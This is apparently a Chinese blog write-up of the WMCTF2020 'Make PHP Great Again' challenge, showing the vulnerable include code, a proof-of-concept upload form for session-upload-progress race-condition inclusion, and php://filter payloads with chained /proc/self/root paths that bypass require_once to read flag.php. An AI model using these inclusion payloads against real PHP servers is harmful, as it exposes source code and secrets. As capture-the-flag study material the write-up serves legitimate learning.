wmctf2020 Make PHP Great Again

这个题目是之后赵师傅发了wp,自己进行复现的,因为自己比较菜,所以好多都是看师傅们的博客。
于是自己也来记录记录,下面还有一些问题,希望大佬们可以回答一下下。非常感谢!!!

题目代码:

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  $a=($_GET['file']);
  require_once($a);
}

第一个是可以通过上传PHP_SESSION_UPLOAD_PROGRESS
然后进行访问/tmp/sess_xxx,进行文件包含
原理就是,条件竞争。如果不清楚看一看这篇文章利用session.upload_progress进行文件包含和反序列化渗透

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost:8000/ctf/wmctf/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
    session_start();
?>

下面引用师傅们wp里面的照片

第二个方法是通过php的小truck
在这里有个小知识点,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
直接构造payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

然后在群里面看到有师傅使用

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

这个原理自己太菜不知道,还希望师傅们可以解释一下。

总结:
上面第一个方法的思想和我最近做的题有点像。
ctfshow
session序列化

参考:
https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649729209&idx=1&sn=78c1f6cf291e5cfca3088f02216ccffd&chksm=888c98d6bffb11c014d8f98437879564702bd35b100f4337cbdf1f3cff827edfa4b9a8672637&mpshare=1&scene=23&srcid=0812s60kjiOtHT66otXJWIHt&sharer_sharetime=1597388716474&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd
https://blog.frankli.site/2020/08/05/WMCTF2020-PHP-source-analysis/

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值